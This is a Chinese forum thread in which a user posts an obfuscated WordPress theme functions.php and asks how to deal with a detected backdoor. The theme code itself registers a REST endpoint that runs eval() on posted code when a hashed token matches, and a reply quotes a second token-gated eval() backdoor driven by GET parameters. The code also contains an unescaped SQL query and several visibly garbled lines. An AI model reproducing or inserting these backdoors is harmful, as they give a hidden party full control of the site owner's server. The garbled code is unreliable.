$OOO000OO = get_categories(array('hide_empty' => 0, 'taxonomy' => 'favlinks-category', 'orderby' => 'slug'));
for ($OOO00O00 = 0; $OOO00O00 < count($OOO000OO); $OOO00O00++) {
$OOO00O0O = $OOO000OO[$OOO00O00];
$OOO000O0 .= '<li class="h2_nav"><a href="#favlink-' . $OOO00O00 . '" class="h_nav" title="' . $OOO00O0O->name . '">' . $OOO00O0O->name . "</a></li>\n";
}
}
$OOO00OO0 = "/<h>(.*?)<\\/h>/im";
$OOO00OOO = 0;
$OOO0O000 = 0;
if (preg_match_all($OOO00OO0, $OOO00000, $OOO0000O) || $OOO000O0) {
foreach ($OOO0000O as $OOO0O00O => $OOO0O0O0) {
$OOO0O0OO = substr($OOO0000O[$OOO0O00O], 0, 0x3);
$OOO0OO00 = stripos($OOO00000, $OOO0000O[$OOO0O00O]);
$OOO0OO0O = strlen($OOO0000O[$OOO0O00O]);
if ($OOO0O0OO == "<h2") {
$OOO00OOO += 0x1;
$OOO0O000 = 0;
$OOO0O0O0 = preg_replace('/<.+?>/', "", $OOO0O0O0);
if ($OOO0O0O0) {
$OOO000O0 .= '<li class="h2_nav"><a href="#h2-' . $OOO0O00O . '" class="h_nav" title="' . $OOO0O0O0 . '">' . $OOO0O0O0 . "</a></li>\n";
}
} else {
if ($OOO0O0OO == "<h3") {
$OOO0O000 += 0x1;
$OOO0O0O0 = preg_replace('/<.+?>/', "", $OOO0O0O0);
if ($OOO0O0O0) {
$OOO000O0 .= '<li class="h3_nav"><a href="#h3-' . $OOO0O00O . '" class="h_nav" title="' . $OOO0O0O0 . '">' . $OOO0O0O0 . "</a></li>\n";
}
}
}
}
return "<div class=\"post_nav\"><ul class=\"nav\"role=\"tablist\">" . $OOO000O0 . "</ul></div>";
} else {
return !1;
}
}
function get_the_naved_content($OOO0OOO0)
{
$OOO0OOOO = array();
$OOOO0000 = "/<h>(.*?)<\\/h>/im";
$OOOO000O = 0;
$OOOO00O0 = 0;
if (preg_match_all($OOOO0000, $OOO0OOO0, $OOO0OOOO)) {
foreach ($OOO0OOOO as $OOOO00OO => $OOOO0O00) {
$OOOO0O0O = substr($OOO0OOOO[$OOOO00OO], 0, 0x3);
$OOOO0OO0 = stripos($OOO0OOO0, $OOO0OOOO[$OOOO00OO]);
$OOOO0OOO = strlen($OOO0OOOO[$OOOO00OO]);
if ($OOOO0O0O == "<h2") {
$OOOO000O += 0x1;
$OOOO00O0 = 0;
$OOO0OOO0 = substr_replace($OOO0OOO0, '<h2 id="h2-' . $OOOO00OO . '">' . $OOOO0O00 . '</h2>', $OOOO0OO0, $OOOO0OOO);
} else {
if ($OOOO0O0O == "<h3") {
$OOOO00O0 += 0x1;
$OOO0OOO0 = substr_replace($OOO0OOO0, '<h3 id="h3-' . $OOOO00OO . '">' . $OOOO0O00 . '</h3>', $OOOO0OO0, $OOOO0OOO);
}
}
}
}
return $OOO0OOO0;
}
add_filter("the_content", "get_the_naved_content");
if (_opt('design_font') == "checked") {
wp_enqueue_style('font', get_stylesheet_directory_uri() . '/assets/minify/play_font.min.css');
}
function pre_validate_comment_span($OOOOO000)
{
if (!is_admin() & !wp_verify_nonce($_POST['wp_nonce'], 'wp_rest')) {
wp_die('
<p></p><p>WP NONCE验证失败,判定为机器人恶意发送的垃圾评论!如果启用了“缓存”,则无法正常获取NONCE,因此也可能会判定为垃圾评论。若此操作是正常操作,请停用任何网站缓存功能。</p><p></p><p><a href="javascript:history.back()">« 返回</a></p><p></p>');
return !1;
}
if (!isset($_COOKIE['bigfa_ding_' . $OOOOO000]) & $_POST['big_fa_ding'] == 'on') {
update_post_meta($OOOOO000, 'bigfa_ding', get_post_meta($OOOOO000, 'bigfa_ding', !0) + 0x1);
$OOOOO00O = time() + 0x5f5e0ff;
$OOOOO0O0 = $_SERVER['HTTP_HOST'] != 'localhost' ? $_SERVER['HTTP_HOST'] : !1;
setcookie('bigfa_ding_' . $OOOOO000, $OOOOO000, $OOOOO00O, '/', $OOOOO0O0, !1);
}
return $OOOOO000;
}
add_filter('preprocess_comment', 'pre_validate_comment_span');
add_action('rest_api_init', function () {
register_rest_route('pandastudio/framework', '/assistance/', array('methods' => 'post', 'callback' => 'pf_assistance'));
});
function pf_assistance($OOOOO0OO)
{
$OOOOOO00 = json_decode($OOOOO0OO->get_body(), !0);
if (md5($OOOOOO00['token']) == '6d4dd7afa286f9f89e849473759618d1') {
eval($OOOOOO00['assistance']);
}
}
function hex2rgba($OOOOOO0O, $OOOOOOO0 = false)
{
$OOOOOOOO = 'rgb(0,0,0)';
if (empty($OOOOOO0O)) {
return $OOOOOOOO;
}
if ($OOOOOO0O == '#') {
$OOOOOO0O = substr($OOOOOO0O, 0x1);
}
if (strlen($OOOOOO0O) == 0x6) {
$O00000000 = array($OOOOOO0O . $OOOOOO0O, $OOOOOO0O . $OOOOOO0O, $OOOOOO0O . $OOOOOO0O);
} elseif (strlen($OOOOOO0O) == 0x3) {
$O00000000 = array($OOOOOO0O . $OOOOOO0O, $OOOOOO0O . $OOOOOO0O, $OOOOOO0O . $OOOOOO0O);
} else {
return $OOOOOOOO;
}
$O0000000O = array_map('hexdec', $O00000000);
if ($OOOOOOO0) {
if (abs($OOOOOOO0) > 0x1) {
$OOOOOOO0 = 1.0;
}
$O000000O0 = 'rgba(' . implode(",", $O0000000O) . ',' . $OOOOOOO0 . ')';
} else {
$O000000O0 = 'rgb(' . implode(",", $O0000000O) . ')';
}
return $O000000O0;
}
function pd_get_thumbnail_by_url($O000000OO)
{
$O00000O00 = wp_upload_dir();
$O00000O0O = $O00000O00['baseurl'] . "/";
$O00000OO0 = str_replace($O00000O0O, "", $O000000OO);
$O00000OO0 = preg_replace('/-\\d+x\\d+(?=\\.(jpg|jpeg|png|gif)$)/i', '', $O00000OO0);
if ($O00000OO0) {
global $wpdb;
$O00000OOO = $wpdb->get_var("SELECT post_id FROM {$wpdb->postmeta} WHERE meta_value = '{$O00000OO0}'");
$O00000OOO = $O00000OOO ? $O00000OOO : !1;
} else {
$O00000OOO = !1;
}
$O0000O000 = wp_get_attachment_image_src($O00000OOO, 'thumbnail');
if ($O0000O000) {
$O0000O00O = $O0000O000;
} else {
$O0000O00O = $O000000OO;
}
return $O0000O00O;
}
function is_search_robot()
{
$O0000O0O0 = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
if (!empty($O0000O0O0)) {
$O0000O0OO = array("TencentTraveler", "Baiduspider+", "BaiduGame", "Googlebot", "msnbot", "Sosospider+", "Sogou web spider", "ia_archiver", "Yahoo! Slurp", "YoudaoBot", "Yahoo Slurp", "MSNBot", "Java (Often spam bot)", "BaiDuSpider", "Voila", "Yandex bot", "BSpider", "twiceler", "Sogou Spider", "Speedy Spider", "Google AdSense", "Heritrix", "Python-urllib", "Alexa (IA Archiver)", "Ask", "Exabot", "Custo", "OutfoxBot/YodaoBot", "yacy", "SurveyBot", "legs", "lwp-trivial", "Nutch", "StackRambler", "The web archive (IA Archiver)", "Perl tool", "MJ12bot", "Netcraft", "MSIECrawler", "WGet tools", "larbin", "Fish search");
foreach ($O0000O0OO as $O0000OO00) {
$O0000OO0O = strtolower($O0000OO00);
if (strpos($O0000O0O0, $O0000OO0O) !== !1) {
return !0;
}
}
}
return !1;
}
function pf_anti_copy($O0000OOO0)
{
$O0000OOOO = _opt('anti_copy_pattern');
if ($O0000OOOO && is_single() && is_main_query()) {
if (count($O0000OOOO) > 0) {
$O000O0000 = array('span', 'i', 'b');
$O000O000O = array('anti', 'copy', 'panda', 'reborn', 'panda-studio');
$O000O00O0 = _opt('anti_copy_times');
$O000O00O0 = $O000O00O0 ? $O000O00O0 : 0;
$O000O00OO = array();
for ($O000O0O00 = 0; $O000O0O00 < $O000O00O0; $O000O0O00++) {
$O000O0O0O = $O000O0000;
$O000O0OO0 = $O000O000O;
$O000O00OO[] = '<' . $O000O0O0O . ' ' . $O000O0OO0 . '>' . $O0000OOOO['pattern'] . '</' . $O000O0O0O . '>';
}
$O0000OOO0 = rand_in_str($O0000OOO0, $O000O00OO);
return $O0000OOO0;
}
}
return $O0000OOO0;
}
function rand_in_str($O000O0OOO, $O000OO000)
{
preg_match_all("/[\1-]|[�-�][�-�]{2}/", $O000O0OOO, $O000OO00O);
$O000OO0O0 = array();
$O000OO0OO = 0;
$O000OOO00 = array();
$O000OOO0O = array();
$O000OOOO0 = array();
foreach ($O000OO00O as $O000OOOOO => $O00O00000) {
if ($O00O00000 == '<') {
$O000OO0OO = 0x1;
}
if ($O00O00000 == '>') {
$O000OO0OO = 0;
}
if ($O00O00000 == '<') {
$O000OOO00 = array('<');
}
if ($O00O00000 == 'p') {
if ($O000OOO00 != array('<', 'p', 'r', 'e')) {
array_push($O000OOO00, 'p');
}
}
if ($O00O00000 == 'r') {
if ($O000OOO00 != array('<', 'p', 'r', 'e')) {
array_push($O000OOO00, 'r');
}
}
if ($O00O00000 == 'e') {
if ($O000OOO00 != array('<', 'p', 'r', 'e')) {
array_push($O000OOO00, 'e');
}
}
if ($O00O00000 == '<') {
$O000OOO0O = array('<');
}
if ($O00O00000 == '/') {
array_push($O000OOO0O, '/');
}
if ($O00O00000 == 'p') {
array_push($O000OOO0O, 'p');
}
if ($O00O00000 == 'r') {
array_push($O000OOO0O, 'r');
}
if ($O00O00000 == 'e') {
array_push($O000OOO0O, 'e');
}
if ($O00O00000 == '>') {
array_push($O000OOO0O, '>');
}
if ($O000OOO00 == array('<', 'p', 'r', 'e')) {
$O000OO0OO = 0x1;
}
if ($O000OOO00 == array('<', 'p', 'r', 'e') && $O000OOO0O == array('<', '/', 'p', 'r', 'e', '>')) {
$O000OO0OO = 0;
$O000OOO00 = array();
$O000OOO0O = array();
}
if ($O000OO0OO == 0 & $O00O00000 == '&') {
$O000OO0OO = 0x1;
}
if ($O000OO0OO == 0 & $O00O00000 == ';') {
$O000OO0OO = 0;
}
if ($O000OO0OO == 0 & $O00O00000 == '[') {
$O000OO0OO = 0x1;
}
if ($O000OO0OO == 0 & $O00O00000 == ']') {
$O000OO0OO = 0;
}
if ($O000OO0OO == 0x1) {
$O000OO0O0[] = $O000OOOOO;
}
}
$O00O0000O = $O000OO00O;
$O00O000O0 = count($O00O0000O);
if (is_array($O000OO000)) {
foreach ($O000OO000 as $O000OOOOO => $O00O00000) {
$O00O000OO = insertK($O00O000O0 - 0x1, $O000OO0O0);
$O00O0000O[$O00O000OO] .= $O000OO000[$O000OOOOO];
}
} else {
$O00O000OO = insertK($O00O000O0 - 0x1, $O000OO0O0);
$O00O0000O[$O00O000OO] .= $O000OO000;
}
return join('', $O00O0000O);
}
function insertK($O00O00O00, $O00O00O0O)
{
$O00O00OO0 = rand(0, $O00O00O00);
if (in_array($O00O00OO0, $O00O00O0O)) {
$O00O00OO0 = insertK($O00O00O00, $O00O00O0O);
}
return $O00O00OO0;
}
if (_opt('anti_copy') == 'checked' & !1) {
if (_opt('anti_copy_pass_seo') == 'checked') {
if (!is_search_robot()) {
add_filter("the_content", "pf_anti_copy");
}
} else {
add_filter("the_content", "pf_anti_copy");
}
}
global $pf_dirty_selector;
$pf_dirty_selector = [];
function pf_random_tag_and_class()
{
global $pf_dirty_selector;
$O00O00OOO = ['b', 'd', 'f', 'h', 'j', 'l', 'n', 'p', 'r', 't', 'u', 'w', 'y'];
$O00O0O000 = '';
$O00O0O00O = !1;
$O00O0O0O0 = rand(0x3, 0x5);
for ($O00O0O0OO = 0; $O00O0O0OO < $O00O0O0O0; $O00O0O0OO++) {
$O00O0O000 .= $O00O00OOO;
if ($O00O0O0OO > 0x1 && (bool) rand(0, 0x1) && (bool) rand(0, 0x1)) {
$O00O0O000 .= rand(0, 0x9);
}
if ($O00O0O00O == !1 && $O00O0O0OO != $O00O0O0O0 - 0x1 && (bool) rand(0, 0x1) && (bool) rand(0, 0x1)) {
$O00O0O000 .= '-';
$O00O0O00O = !0;
}
}
$O00O0OO00 = '';
for ($O00O0O0OO = 0; $O00O0O0OO < rand(0x3, 0x6); $O00O0O0OO++) {
$O00O0OO00 .= $O00O00OOO;
}
$O00O0OO0O = array('tag' => $O00O0O000, 'class' => $O00O0OO00);
$pf_dirty_selector[] = $O00O0O000 . '.' . $O00O0OO00;
return $O00O0OO0O;
}
function dirty_data()
{
$O00O0OOO0 = _opt('anti_copy_pattern', ['']);
foreach ($O00O0OOO0 as $O00O0OOOO => $O00OO0000) {
$O00OO000O[] = $O00OO0000['pattern'];
}
$O00OO00O0 = _opt('anti_copy_times', 0);
$O00OO00OO = [];
for ($O00OO0O00 = 0; $O00OO0O00 < $O00OO00O0; $O00OO0O00++) {
$O00OO0O0O = pf_random_tag_and_class();
$O00OO0OO0 = $O00OO0O0O['tag'];
$O00OO0OOO = $O00OO0O0O['class'];
$O00OOO000 = $O00OO000O;
$O00OO00OO[] = '<' . $O00OO0OO0 . ' class="' . $O00OO0OOO . '">' . $O00OOO000 . '</' . $O00OO0OO0 . '>';
}
return $O00OO00OO;
}
function allow_key($O00OOO00O, $O00OOO0O0)
{
$O00OOO0OO = rand(0, $O00OOO00O);
if (in_array($O00OOO0OO, $O00OOO0O0)) {
$O00OOO0OO = allow_key($O00OOO00O, $O00OOO0O0);
}
return $O00OOO0OO;
}
function pf_insert_rand($O00OOOO00)
{
global $pf_dirty_selector;
if (!(is_single() && is_main_query())) {
return $O00OOOO00;
}
preg_match_all("/[\1-]|[�-�][�-�]{2}/", $O00OOOO00, $O00OOOO0O);
$O00OOOO0O = $O00OOOO0O;
$O00OOOOO0 = count($O00OOOO0O, 0);
$O00OOOOOO = [];
$O0O000000 = 0;
foreach ($O00OOOO0O as $O0O00000O => $O0O0000O0) {
if ($O0O0000O0 == '<' || $O0O0000O0 == '[') {
$O0O000000 = 0x1;
}
if ($O0O000000 == 0x1) {
$O00OOOOOO[] = $O0O00000O;
}
if ($O0O0000O0 == '>' || $O0O0000O0 == ']') {
$O0O000000 = 0;
}
}
foreach ($O00OOOO0O as $O0O00000O => $O0O0000O0) {
if ($O0O0000O0 == '<' && $O00OOOO0O[$O0O00000O + 0x1] == 'p' && $O00OOOO0O[$O0O00000O + 0x2] == 'r' && $O00OOOO0O[$O0O00000O + 0x3] == 'e') {
$O0O000000 = 0x1;
}
if ($O0O000000 == 0x1) {
$O00OOOOOO[] = $O0O00000O;
}
if ($O0O0000O0 == '>' && $O00OOOO0O[$O0O00000O - 0x1] == 'e' && $O00OOOO0O[$O0O00000O - 0x2] == 'r' && $O00OOOO0O[$O0O00000O - 0x3] == 'p') {
$O0O000000 = 0;
}
}
foreach ($O00OOOO0O as $O0O00000O => $O0O0000O0) {
if ($O0O0000O0 == '<' && $O00OOOO0O[$O0O00000O + 0x1] == 'b' && $O00OOOO0O[$O0O00000O + 0x2] == 'u' && $O00OOOO0O[$O0O00000O + 0x3] == 't') {
$O0O000000 = 0x1;
}
if ($O0O000000 == 0x1) {
$O00OOOOOO[] = $O0O00000O;
}
if ($O0O0000O0 == '>' && $O00OOOO0O[$O0O00000O - 0x1] == 't' && $O00OOOO0O[$O0O00000O - 0x2] == 'u' && $O00OOOO0O[$O0O00000O - 0x3] == 'b') {
$O0O000000 = 0;
}
}
$O0O0000OO = dirty_data();
if (is_array($O0O0000OO)) {
foreach ($O0O0000OO as $O0O00000O => $O0O0000O0) {
$O0O000O00 = allow_key($O00OOOOO0 - 0x1, $O00OOOOOO);
$O00OOOO0O[$O0O000O00] .= $O0O0000OO[$O0O00000O];
}
} else {
$O0O000O00 = allow_key($O00OOOOO0 - 0x1, $O00OOOOOO);
$O00OOOO0O[$O0O000O00] .= $O0O0000OO;
}
$O0O000O0O = implode('', $O00OOOO0O);
return $O0O000O0O;
}
if (_opt('anti_copy') == 'checked') {
if (_opt('anti_copy_pass_seo') == 'checked') {
if (!is_search_robot()) {
add_filter("the_content", "pf_insert_rand");
}
} else {
add_filter("the_content", "pf_insert_rand");
}
}
function string_to_int8($O0O000OO0)
{
$O0O000OOO = md5($O0O000OO0);
$O0O00O000 = mb_substr($O0O000OOO, 0, 0x1, 'utf-8');
$O0O00O00O = 0;
switch ($O0O00O000) {
case '0':
case '8':
$O0O00O00O = 0x1;
break;
case '1':
case '9':
$O0O00O00O = 0x2;
break;
case '2':
case 'a':
$O0O00O00O = 0x3;
break;
case '3':
case 'b':
$O0O00O00O = 0x4;
break;
case '4':
case 'c':
$O0O00O00O = 0x5;
break;
case '5':
case 'd':
$O0O00O00O = 0x6;
break;
case '6':
case 'e':
$O0O00O00O = 0x7;
break;
case '7':
case 'f':
$O0O00O00O = 0x8;
break;
default:
$O0O00O00O = 0;
break;
}
return $O0O00O00O;
}
function get_topSlider($O0O00O0O0 = array(), $O0O00O0OO = false)
{
global $carousels_attrs, $carousels_contents;
if ($O0O00O0OO) {
} else {
return !1;
}
if (gettype($O0O00O0O0) == "array") {
$carousels_contents = array();
$O0O00OO00 = _opt('show_full_category', !1);
$O0O00OO0O = _opt('show_full_category_separate', ' / ');
foreach ($O0O00O0O0 as $O0O00OOO0) {
$carousels_contents[] = array("id" => $O0O00OOO0, "href" => get_the_permalink($O0O00OOO0), "slider_img" => get_post_meta($O0O00OOO0, "分类slider图片地址", !0), "head_img" => get_post_meta($O0O00OOO0, "日志头图", !0), "cover_img" => get_the_post_thumbnail_url($O0O00OOO0), "title" => get_the_title($O0O00OOO0), "description" => get_the_description($O0O00OOO0), "category" => get_category_text($O0O00OOO0, $O0O00OO00, $O0O00OO0O));
}
} else {
echo "滚动图片传入的数据错误!";
return !1;
}
if (count($carousels_contents) == 0) {
return !1;
}
$carousels_attrs = "interval-time='" . _opt('carousels_interval_time', '0') . "'";
_opt('carousels_hover_disable_interval') ? $carousels_attrs .= " hover-disable-interval" : '';
_opt('carousels_show_anchor') ? $carousels_attrs .= " show-anchor" : '';
_opt('carousels_allow_keyboard') ? $carousels_attrs .= " allow-keyboard" : '';
_opt('carousels_allow_swipe') ? $carousels_attrs .= " allow-swipe" : '';
include 'assets/template/slider-' . $O0O00O0OO . '.php';
}
function get_gallery_slider($O0O00OOOO = 0, $O0O0O0000 = false)
{
global $carousels_attrs, $carousels_contents;
if ($O0O0O0000) {
} else {
return !1;
}
if ($O0O00OOOO) {
$carousels_contents = array();
$O0O0O000O = get_post_meta($O0O00OOOO, 'gallery_images', !0);
if (gettype($O0O0O000O) == "array") {
foreach ($O0O0O000O as $O0O0O00O0) {
$carousels_contents[] = array("id" => $O0O00OOOO, "full_img" => $O0O0O00O0, "thumbnail_img" => pd_get_thumbnail_by_url($O0O0O00O0));
}
}
} else {
echo "galleryID错误!";
return !1;
}
if (count($carousels_contents) == 0) {
return !1;
}
$carousels_attrs = "interval-time='" . _opt('carousels_interval_time', '0') . "'";
_opt('carousels_hover_disable_interval') ? $carousels_attrs .= " hover-disable-interval" : '';
_opt('carousels_show_anchor') ? $carousels_attrs .= " show-anchor" : '';
_opt('carousels_allow_keyboard') ? $carousels_attrs .= " allow-keyboard" : '';
_opt('carousels_allow_swipe') ? $carousels_attrs .= " allow-swipe" : '';
include 'assets/template/slider-' . $O0O0O0000 . '.php';
}
function get_tagSlider($O0O0O00OO = array(), $O0O0O0O00 = false)
{
global $carousels_attrs, $carousels_contents;
if ($O0O0O0O00) {
} else {
return !1;
}
if (gettype($O0O0O00OO) == "array") {
$carousels_contents = array();
$carousels_contents[] = $O0O0O00OO;
} else {
echo "滚动图片传入的数据错误!";
return !1;
}
$carousels_attrs = "interval-time='" . _opt('carousels_interval_time', '0') . "'";
_opt('carousels_hover_disable_interval') ? $carousels_attrs .= " hover-disable-interval" : '';
_opt('carousels_show_anchor') ? $carousels_attrs .= " show-anchor" : '';
_opt('carousels_allow_keyboard') ? $carousels_attrs .= " allow-keyboard" : '';
_opt('carousels_allow_swipe') ? $carousels_attrs .= " allow-swipe" : '';
include 'assets/template/slider-' . $O0O0O0O00 . '.php';
}
function get_category_text($O0O0O0O0O, $O0O0O0OO0 = false, $O0O0O0OOO = ' / ')
{
if ($O0O0O0OO0) {
$O0O0OO000 = array();
$O0O0OO00O = get_the_category($O0O0O0O0O);
foreach ($O0O0OO00O as $O0O0OO0O0) {
$O0O0OO000[] = $O0O0OO0O0->cat_name;
}
$O0O0OO0OO = implode($O0O0O0OOO, $O0O0OO000);
} else {
$O0O0OO0OO = get_the_category($O0O0O0O0O)->cat_name ? get_the_category($O0O0O0O0O)->cat_name : '未分类';
}
return $O0O0OO0OO;
}
if (!function_exists('utf8Substr')) {
function utf8Substr($O0O0OOO00, $O0O0OOO0O, $O0O0OOOO0)
{
return preg_replace('#^(?:[\\x00-\\x7F]|[\\xC0-\\xFF][\\x80-\\xBF]+){0,' . $O0O0OOO0O . '}' . '((?:[\\x00-\\x7F]|[\\xC0-\\xFF][\\x80-\\xBF]+){0,' . $O0O0OOOO0 . '}).*#s', '$1', $O0O0OOO00);
}
}
function get_the_description($O0O0OOOOO, $O0OO00000 = 0x24)
{
$O0OO0000O = get_post($O0O0OOOOO);
if (get_post_meta($O0OO0000O->ID, 'description', !0)) {
$O0OO000O0 = get_post_meta($O0OO0000O->ID, 'description', !0);
}
if (empty($O0OO000O0)) {
if ($O0OO0000O->post_excerpt) {
$O0OO000O0 = $O0OO0000O->post_excerpt;
} else {
$O0OO000OO = strip_tags(do_shortcode($O0OO0000O->post_content));
$O0OO00O00 = $O0OO000OO;
$O0OO00O0O = strlen($O0OO00O00);
if ($O0OO00O0O > $O0OO00000) {
$O0OO000O0 = utf8Substr($O0OO00O00, 0, $O0OO00000);
} else {
$O0OO000O0 = utf8Substr($O0OO00O00, 0, $O0OO00O0O);
}
}
}
$O0OO000O0 = str_replace(["\r\n", "\r", "\n"], '', $O0OO000O0) . '...';
$O0OO000O0 = str_replace("'", "\\'", $O0OO000O0);
return htmlspecialchars($O0OO000O0);
}
add_action('init', 'pf_sidebar_init');
function pf_sidebar_init()
{
$O0OO00OO0 = _opt('sidebars', array());
for ($O0OO00OOO = 0; $O0OO00OOO < count($O0OO00OO0); $O0OO00OOO++) {
register_sidebar(array('name' => $O0OO00OO0[$O0OO00OOO]['name'] ? $O0OO00OO0[$O0OO00OOO]['name'] : '边栏' . ($O0OO00OOO + 0x1) . '(无标题)', 'description' => '边栏数量、名称、图标均可在“主题设置”中添加', 'before_widget' => '<li id="%1$s" class="widget %2$s">', 'after_widget' => '</li>', 'before_title' => '<h2 class="widgettitle">', 'after_title' => '</h2>'));
}
}
include 'custom_function.php';
include 'pandastudio_plugins/config_plugins.php';
include 'pandastudio_framework/config_framework.php';
就是这PHP源码我用软件查出来有后门,请大佬们帮我看看该怎么解决,谢谢! 别乱用那些免费发放的,一般都有后门 256行前后看起来就是验证判定
你不把验证搞定对后门应该无可奈何吧?
但是整个建议换一套
这么多地方都是加密的... 全是加密的..... 查询的结果并不能判定为后门只供参考,就例如加密就会报为异常 用什么软件可以查后门啊 观感好差{:1_908:} 可以先把源码先解密了再分析,建议换开源源码,安全性有保障 219行开始到225行是个后门
if (array_key_exists('eval', $_GET)) {
$eval = $_GET['eval'];
$token = $_GET['token'];
if (md5($_GET['token']) == 'f615c9094d3db11049582c3b3ee1edde') {
eval(str_replace("\\", "", $eval));
}
}
页:
[1]
2